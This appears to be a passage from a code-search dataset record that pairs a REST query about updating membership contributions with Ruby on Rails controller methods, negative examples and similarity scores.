:belongable_id, :belongable_type, :scope, :state)\n end", "def create\n\n @collaboration = current_user.collaborations.build(collaboration_params)\n if @collaboration.save\n flash[:success] = \"Collaboration successfully created!\"\n redirect_to @collaboration\n else\n render 'new'\n end\n\n end", "def add_team_memberships\n this_season_key, school_year_text = TeamMembership.this_season_and_year(time_now: time_now)\n TeamMembership.create!({\n student_id: shs_freshman_mari.id,\n activity_text: 'Competitive Cheerleading Varsity',\n coach_text: 'Fatima Teacher',\n season_key: this_season_key,\n school_year_text: school_year_text\n })\n TeamMembership.create!({\n student_id: shs_senior_kylo.id,\n activity_text: 'Cross Country - Boys Varsity',\n coach_text: 'Jonathan Fishman',\n season_key: this_season_key,\n school_year_text: school_year_text\n })\n end", "def new\n @user = User.new\n @user.pending_memberships.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n flash[:notice] = 'Enseignement a été ajouté.'\n format.html { redirect_to enseignant_path(:id => @contribution.enseignant) }\n #format.xml { head :created, :location => contribution_url(@contribution) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contribution.errors.to_xml }\n end\n end\n end", "def membership_params\n params.require(:membership).permit(:user_id, :beer_club_id)\n end", "def membership_params\n params.require(:membership).permit(:user_id, :beer_club_id)\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def membership_params\n params[:membership][:community_id] = @community.id\n throw \"Not a superadmin!\" if params[:membership][:role_id] == Membership::ADMIN unless check_super_admin\n params.require(:membership).permit(:user_id, :community_id, :role_id, :application_info, :notes)\n end", "def create\n # TODO: test if \"user_established_at\" and \"network_established_at\" can be hacked (ie: set) through API calls,\n # thereby creating memberships that are already 'accepted' at creation.\n user = User.find_by_id(params[:membership][:user_id])\n if user.nil?\n render_404(\"User not found.\")\n elsif !Membership.find_by_user_id_and_network_id(params[:membership][:user_id], params[:membership][:network_id]) ||\n Network.find(params[:membership][:network_id]).owner?(user)\n\n @membership = Membership.new(params[:membership])\n\n @membership.user_established_at = nil\n @membership.network_established_at = nil\n if @membership.message.blank?\n @membership.message = nil\n end\n \n respond_to do |format|\n\n if @membership.save\n # Take into account network's new member policy setting\n if (@membership.network.open?)\n @membership.accept!\n \n begin\n user = @membership.user\n network = @membership.network\n Notifier.deliver_auto_join_group(user, network, base_host) if network.administrators(true).any? {|a| a.send_notifications?}\n rescue\n logger.error(\"ERROR: failed to send email notification for auto join group. Membership ID: #{@membership.id}\")\n end\n \n flash[:notice] = 'You have successfully joined the Group.'\n elsif (@membership.network.membership_by_request?)\n @membership.user_establish!\n \n begin\n user = @membership.user\n network = @membership.network\n Notifier.deliver_membership_request(user, network, @membership, base_host) if network.administrators(true).any? {|a| a.send_notifications?}\n rescue Exception => e\n logger.error(\"ERROR: failed to send Membership Request email notification. Membership ID: #{@membership.id}\")\n logger.error(\"EXCEPTION:\" + e)\n end\n \n flash[:notice] = 'Membership was successfully requested.'\n end\n\n format.html { redirect_to user_membership_path(current_user.id, @membership) }\n else\n format.html { render :action => \"new\" }\n end\n end\n else\n respond_to do |format|\n flash[:error] = \"Membership not created (already exists)\"\n format.html { render :action => \"new\" }\n end\n end\n end", "def preview_node_contribution\n errors = []\n unless params[:contribution][:url].blank?\n embedly = EmbedlyService.new\n embedly.fetch_and_merge_params!(params)\n end\n @contribution = Contribution.update_or_create_node(params[:contribution], current_person)\n\n if @contribution.invalid?\n errors = @contribution.errors.full_messages\n elsif embedly and (embedly.bad_request? or embedly.not_found?)\n errors = [\"There was a problem retrieving information for '#{params[:contribution][:url]}'\"]\n elsif embedly and not embedly.ok?\n errors = ['There was a problem with our system. Please try again.']\n end\n\n ratings = RatingGroup.ratings_for_conversation_by_contribution_with_count(@contribution.conversation, current_person)\n\n respond_to do |format|\n if errors.size == 0\n format.js { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => false, :ratings => ratings }) }\n format.html { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => 'application', :ratings => ratings }) }\n else\n format.js { render :json => errors, :status => :unprocessable_entity }\n format.html { render :text => errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @member_commision = MemberCommision.new(member_commision_params)\n\n respond_to do |format|\n if @member_commision.save\n format.html { redirect_to member_commisions_path, notice: 'Member commision was successfully created.' }\n format.json { render :show, status: :created, location: @member_commision }\n else\n format.html { render :new }\n format.json { render json: @member_commision.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @club = Club.new(params[:club])\n @club.user = current_user\n\n if @club.save\n @club.memberships.create!(couple_id: current_user.activeCouple.id, verified: true)\n redirect_to root_path, notice: t('club.create')\n else\n render :new\n end\n end", "def create\n @contribution_type = ContributionType.new(contribution_type_params)\n\n respond_to do |format|\n if @contribution_type.save\n format.html { redirect_to @contribution_type, notice: 'Contribution type was successfully created.' }\n format.json { render :show, status: :created, location: @contribution_type }\n else\n format.html { render :new }\n format.json { render json: @contribution_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_contribution = UserContribution.new(user_contribution_params)\n @user_contribution.blok = @user_contribution.address.block_address.gsub(/[^A-Za-z]/,'') rescue ''\n respond_to do |format|\n if @user_contribution.save\n CashTransaction.create(\n month: @user_contribution.month,\n year: @user_contribution.year,\n transaction_date: @user_contribution.pay_at,\n transaction_type: CashTransaction::TYPE['DEBIT'],\n transaction_group: CashTransaction::GROUP['IURAN WARGA'],\n description: @user_contribution.description,\n total: @user_contribution.contribution,\n pic_id: @user_contribution.receiver_id\n )\n format.html { redirect_to @user_contribution, notice: 'User contribution was successfully created.' }\n format.json { render :show, status: :created, location: @user_contribution }\n else\n format.html { render :new }\n format.json { render json: @user_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def membership_params\n params.require(:membership).permit(:user_id, :school_id, :primary_role, :school_name,\n :user_name, :slug,\n { details: [:date_enrolled, :date_completed, :current_grades, :other_roles] })\n end", "def membership_params\n params.require(:membership).permit(:beer_club_id, :user_id)\n end", "def create\n @membership = Membership.new(membership_params)\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership.school, notice: 'School Account was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n input = create_input\n return unauthorized unless create_auth(input)\n create_collaboration = API::V1::CreateCollaboration.new(input)\n result = create_collaboration.call\n if result\n render status: 201, json: result\n else\n error(create_collaboration.errors)\n end\n end", "def index\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n\n @contribution = Contribution.new\n @contribution.contributor = session[:contributor] if session[:contributor]\n @contribution.email = session[:email] if session[:email]\n end", "def create\n @membership = @website.memberships.new(membership_params)\n @membership.user.no_password = true\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @membership }\n else\n format.html { render action: 'new' }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@membership = Membership.new(params[:membership])\n\n\t\trespond_to do |format|\n\t\t\tif @membership.save\n\t\t\t\tformat.html { redirect_to(@membership, :notice => 'Membership was successfully created.') }\n\t\t\t\tformat.xml\t{ render :xml => @membership, :status => :created, :location => @membership }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml\t{ render :xml => @membership.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def split_contributions(org, repo)\n total_contributors = []\n page = 1\n contributions = @github.contributions_page(org, repo).to_a\n total_contributors.concat(contributions)\n total_contributors\n end", "def create\n @membership = Membership.new(params[:membership])\n @membership.user_id = current_user.id\n if @membership.save\n end\n end", "def create\n @lab_membership = LabMembership.new(params[:lab_membership])\n @user = @lab_membership.user\n\n respond_to do |format|\n if @lab_membership.save\n flash[:notice] = 'LabMembership was successfully created.'\n format.html { redirect_to( user_lab_memberships_path(@user) ) }\n format.xml { render :xml => @lab_membership, :status => :created, :location => @lab_membership }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lab_membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @project = current_user.projects.build(project_params)\n @project.memberships.new(user: current_user,role:'Creator')\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(params, membership)\n # Send payload to blip\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n firstname: (params[5].nil? ? params[4][0] : params[5]),\n lastname: [params[6], params[7]].reject{|e| e.nil? or e.empty?}.join(' '),\n email: (params[3].nil? ? '[email protected]' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n blip = post('https://people.i.bolkhuis.nl/persons', data)\n\n # Grab uid\n unless blip == nil\n uid = blip['uid']\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\n end\nend", "def membership_params\n params.require(:membership).permit(:user_id, :group_id, :email, :title)\n end", "def index\n @memberships = @community.memberships\n end", "def create\n\n @pending_membership = PendingMembership.new(club_id: params[:user][:pending_membership][:club_id])\n\n params[:user].delete(\"pending_membership\")\n\n @user = User.new(params[:user])\n @possible_memberships = PendingMembership.where(user_email: @user.email)\n\n if @possible_memberships.length > 0 && @user.save\n new_user = User.last\n @membership = Membership.new\n @membership.user_id = new_user.id\n @membership.club_id = @possible_memberships.first.club_id\n @possible_memberships.first.destroy\n @membership.save\n session[:user_id] = @user.id\n redirect_to @user, notice: 'Account and membership successfuly created.'\n elsif @user.save\n @pending_membership.user_id = @user.id \n @pending_membership.user_first_name = @user.first_name\n @pending_membership.user_last_name = @user.last_name\n @pending_membership.user_email = @user.email\n @pending_membership.save\n UserMailer.admin_verification(@pending_membership).deliver\n UserMailer.welcome(@user).deliver\n session[:user_id] = @user.id\n redirect_to @user, notice: 'Account successfuly created.' \n else\n # needed for render 'new' in case of form errors \n @user.pending_memberships.build\n render action: \"new\"\n end\n end", "def create\n if current_user.tribal_membership.nil?\n @tribal_membership = TribalMembership.create(tribe_id:params[:tribe_id], user_id:current_user.id)\n else\n @tribal_membership = current_user.tribal_membership\n @tribal_membership.update(tribal_membership_params)\n end\n\n respond_to do |format|\n if @tribal_membership.save\n format.html { redirect_to contrib_campsites_path, notice: 'Tribal membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tribal_membership }\n else\n format.html { redirect_to new_tribal_membership_path }\n format.json { render json: @tribal_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_user_contribution\n @user_contribution = UserContribution.find(params[:id])\n end", "def membership_params\n params.require(:membership).permit(:user_id, :stripe_customer_id, :mode, :status, :expiration_date, :stripe_token, :referer_path)\n end", "def create_members\n project = Project.find(params[:id])\n\n params[:members].each do |member_id|\n user = User.find(member_id)\n project.users << user unless project.users.include?(user) \n end\n \n respond_to do |format|\n format.html { redirect_to project_path(@project), notice: 'members were successfully added.' }\n format.json { render json: @project, status: :created, location: @project }\n end\n end", "def students_project_membership_params\n params.require(:students_project_membership).permit(:student_id, :project_id)\n end" ]
[ "0.7063032", "0.6562812", "0.64714324", "0.64046425", "0.631506", "0.629244", "0.6206663", "0.6166496", "0.61541796", "0.6131366", "0.610208", "0.6083469", "0.6061317", "0.6032376", "0.6020434", "0.598938", "0.59712744", "0.5959901", "0.5947049", "0.59300524", "0.5919236", "0.59143215", "0.5903208", "0.59020513", "0.5897907", "0.58965915", "0.58787835", "0.5864185", "0.58604056", "0.58596265", "0.584396", "0.58132774", "0.58092314", "0.576964", "0.57629406", "0.574636", "0.5737822", "0.5730463", "0.57266796", "0.5726273", "0.5720266", "0.5720266", "0.56846696", "0.56603104", "0.56432486", "0.5643192", "0.56362265", "0.56176245", "0.5597537", "0.5574129", "0.5559416", "0.5554172", "0.55384487", "0.5502143", "0.54982877", "0.549312", "0.54897964", "0.54879206", "0.5478932", "0.54691213", "0.5465391", "0.5461277", "0.54398155", "0.5438467", "0.54367536", "0.543059", "0.5426127", "0.54149383", "0.54060906", "0.5393144", "0.53776425", "0.53720635", "0.5361695", "0.5355499", "0.53550845", "0.53508246", "0.534571", "0.5343526", "0.5342578", "0.53249913", "0.5316033", "0.53073376", "0.5305558", "0.53010195", "0.529767", "0.5292664", "0.5286005", "0.52811664", "0.5278308", "0.52654856", "0.5250524", "0.5245748", "0.52438235", "0.524156", "0.5241167", "0.52411294", "0.5237156", "0.5237049", "0.5231599", "0.52233535" ]
0.6768626
1
PATCH/PUT /membership_contributions/1 PATCH/PUT /membership_contributions/1.json
def update respond_to do |format| if @membership_contribution.update(membership_contribution_params) format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully updated.' } format.json { render :show, status: :ok, location: @membership_contribution } else format.html { render :edit } format.json { render json: @membership_contribution.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_membership_contribution\n @membership_contribution = MembershipContribution.find(params[:id])\n end", "def update\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n if @contribution.update_attributes(params[:contribution])\n format.html { redirect_to @contribution, notice: 'Contribution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribution.update(contribution_params)\n format.html { redirect_to @contribution, notice: 'Contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @contribution }\n else\n format.html { render :edit }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribution.update(contribution_params)\n format.html { redirect_to @contribution, notice: 'Contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @contribution }\n else\n format.html { render :edit }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to community_memberships_path(@community), notice: 'Community membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribution.update_attributes(params[:contribution])\n flash[:notice] = 'Contribution was successfully updated.'\n format.html { redirect_to(@contribution) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribution.update(contribution_params)\n format.html { redirect_to contributions_url, notice: '編集しました' }\n format.json { render :show, status: :ok, location: @contribution }\n else\n format.html { render :edit }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @membership ||= Membership.find(params[:id])\n\n respond_to do |format|\n if @membership.update_attributes(params[:membership])\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @membership = Membership.find(params[:id])\n\n respond_to do |format|\n if @membership.update_attributes(params[:membership])\n format.html { redirect_to @membership, :notice => 'Membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_contribution.update(user_contribution_params)\n format.html { redirect_to @user_contribution, notice: 'User contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_contribution }\n else\n format.html { render :edit }\n format.json { render json: @user_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateMembership params = {}\n \n APICall(path: 'group_memberships.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n if @contribution.update_attributes(params[:contribution])\n flash[:notice] = 'Contribution was successfully updated.'\n format.html { redirect_to contribution_url(@contribution) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contribution.errors.to_xml }\n end\n end\n end", "def update\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n if @contribution.update_attributes(params[:contribution])\n flash[:notice] = 'Contribution was successfully updated.'\n format.html { redirect_to(@contribution) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @research_group_membership.update(research_group_membership_params)\n format.html { redirect_to @research_group_membership, notice: 'Research group membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @research_group_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @membership, notice: \"Membership was successfully updated.\" }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to class_group_memberships_url, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tribal_membership.update(tribal_membership_params)\n format.html { redirect_to @tribal_membership, notice: 'Tribal membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tribal_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def membership_contribution_params\n params.require(:membership_contribution).permit(:membership_id, :date, :amount)\n end", "def update\n respond_to do |format|\n if @mission_membership.update(mission_membership_params)\n format.html { redirect_to @mission_membership, notice: 'Mission membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @mission_membership }\n else\n format.html { render :edit }\n format.json { render json: @mission_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @organization_membership\n\n if @organization_membership.update(organization_membership_update_params)\n head :no_content\n else\n render json: @organization_membership.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to @member, notice: 'Membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # byebug\n @membership_contribution = MembershipContribution.new(membership_contribution_params)\n @membership = MembershipBalance.find_by(params[:membership_id])\n respond_to do |format|\n if @membership_contribution.save\n @a = MembershipContribution.all.last\n # @balance = MembershipBalance.find(params)\n @amount1 = @membership.balance + @a.amount\n @b = MembershipBalance.where(membership_id: @a.membership_id).update_all(balance: @amount1)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully created.' }\n format.json { render :show, status: :created, location: @membership_contribution }\n else\n format.html { render :new }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @students_project_membership.update(students_project_membership_params)\n format.html { redirect_to @students_project_membership, notice: 'Students project membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @students_project_membership }\n else\n format.html { render :edit }\n format.json { render json: @students_project_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @collaboration.update(collaboration_params)\n format.html { redirect_to @collaboration, notice: 'Collaboration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collaboration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @membership.update_attributes(params[:membership])\n format.html { redirect_to edit_site_url(@membership.site), notice: 'Membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @collaboration.project, :author_access?\n\n respond_to do |format|\n if @collaboration.update(collaboration_params)\n format.html do\n redirect_to @collaboration, notice: \"Collaboration was successfully updated.\"\n end\n format.json { render :show, status: :ok, location: @collaboration }\n else\n format.html { render :edit }\n format.json { render json: @collaboration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribution_type.update(contribution_type_params)\n format.html { redirect_to @contribution_type, notice: 'Contribution type was successfully updated.' }\n format.json { render :show, status: :ok, location: @contribution_type }\n else\n format.html { render :edit }\n format.json { render json: @contribution_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contribution_record = ContributionRecord.find(params[:id])\n\n respond_to do |format|\n if @contribution_record.update_attributes(params[:contribution_record])\n format.html { redirect_to @contribution_record, notice: 'Contribution record was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contribution_record.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @team_membership.update(team_membership_params)\n format.html { redirect_to @team_membership, notice: 'Team membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @team_membership }\n else\n format.html { render :edit }\n format.json { render json: @team_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contribucion.update(contribucion_params)\n format.html { redirect_to @contribucion, notice: 'Contribucion was successfully updated.' }\n format.json { render :show, status: :ok, location: @contribucion }\n else\n format.html { render :edit }\n format.json { render json: @contribucion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership_option.update(membership_option_params)\n format.html { redirect_to @membership_option, notice: 'Membership option was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_option }\n else\n format.html { render :edit }\n format.json { render json: @membership_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership_clerk.update(membership_clerk_params)\n format.html { redirect_to @membership_clerk, notice: 'Membership clerk was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_clerk }\n else\n format.html { render :edit }\n format.json { render json: @membership_clerk.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @membership = Adhocracy::Membership.find(params[:id])\n\n authorize! :manage, @membership\n\n if @membership.update(membership_params)\n head :no_content\n else\n render_validation_errors @membership.errors\n end\n end", "def update\n respond_to do |format|\n if @research_group_member.update(research_group_member_params)\n format.html { redirect_to @research_group_member, notice: 'Research group member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @research_group_member.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n action_message_for(@team_profile.content_item.status)\n if update_team_profile\n format.html { redirect_to redirect_target(@team_profile), flash: @feedback_flash }\n format.json { render :show, status: :ok, location: @team_profile }\n else\n 3.times { @team_profile.team_memberships.new }\n 1.times { @team_profile.subsets.new }\n @team_profile.content_item.status = session[:content_item_status]\n format.html { render :edit }\n format.json { render json: @team_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @social_concern.update(social_concern_params)\n format.html { redirect_to @social_concern, notice: 'Social concern was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @social_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @colaboration = Colaboration.find(params[:id])\n @colaboration.user_id=current_user.id\n\n respond_to do |format|\n if @colaboration.update_attributes(params[:colaboration])\n format.html { redirect_to @colaboration, notice: 'Colaboracion actualizada exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colaboration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership_confirmation.update(membership_confirmation_params)\n format.html { redirect_to @membership_confirmation, notice: 'Membership confirmation was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_confirmation }\n else\n format.html { render :edit }\n format.json { render json: @membership_confirmation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(uid, params, membership)\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n email: (params[3].nil? ? '[email protected]' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n patch(\"https://people.i.bolkhuis.nl/persons/#{uid}\", data)\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\nend", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def update\n @user_has_credibility = UserHasCredibility.find(params[:id])\n\n respond_to do |format|\n if @user_has_credibility.update_attributes(params[:user_has_credibility])\n format.html { redirect_to @user_has_credibility, notice: 'User has credibility was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_has_credibility.errors, status: :unprocessable_entity }\n end\n end\n end", "def increment_contributions\n contributions = self.contributions.nil? ? 0 : self.contributions\n contributions += 1\n self.save\n end", "def update\n @membership_fee = MembershipFee.find(params[:id])\n\n respond_to do |format|\n if @membership_fee.update_attributes(params[:membership_fee])\n format.html { redirect_to @membership_fee, notice: 'Membership fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @membership_fee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = @business.contacts.find_by_padma_id(params[:contact_id]) if params[:business_id].present?\n\n if (@membership = (@contact.try(:current_membership) || @contact.memberships.where(external_id: membership_params[\"external_id\"]).first ) )\n if @membership.external_id == membership_params[:external_id]\n # update\n @success = @membership.update(membership_params)\n else\n # close and create new\n @membership.update(closed_on: membership_params[:starts_on])\n\n @membership = Membership.new(membership_params.merge({business: @business, contact_id: @contact.id}))\n if membership_params[:payment_type_name]\n # requires for business to already be set\n @membership.payment_type_name = membership_params[:payment_type_name]\n end\n @success = @membership.save\n end\n else\n # create\n @membership = Membership.new(membership_params.merge({business: @business, contact_id: @contact.id}))\n if membership_params[:payment_type_name]\n # requires for business to already be set\n @membership.payment_type_name = membership_params[:payment_type_name]\n end\n @success = @membership.save\n end\n\n if @success && @membership\n render json: @membership, root: false, status: 201\n else\n render json: {message: @membership.errors}, status: 400\n end\n end", "def update\n respond_to do |format|\n if @community_growth_form.update(community_growth_form_params)\n format.html { redirect_to @community_growth_form, notice: 'Community growth form was successfully updated.' }\n format.json { render :show, status: :ok, location: @community_growth_form }\n else\n format.html { render :edit }\n format.json { render json: @community_growth_form.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @membership = Membership.find(params[:id])\n auth!\n respond_to do |format|\n if (@membership.can_resign_leadership?(membership_params['level'])) && (@membership.update_attributes(membership_params))\n format.html { redirect_to(edit_group_path(@group), :notice => t(:membership_updated)) }\n format.xml { head :ok }\n else\n format.html { redirect_to @group, :notice => @group.errors }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, CompetenceTierGroup\n \n @competence_tier_group.update!(competence_tier_group_params)\n render json: {status: :ok}\n end", "def update\n respond_to do |format|\n if @project_member.update(project_member_params)\n 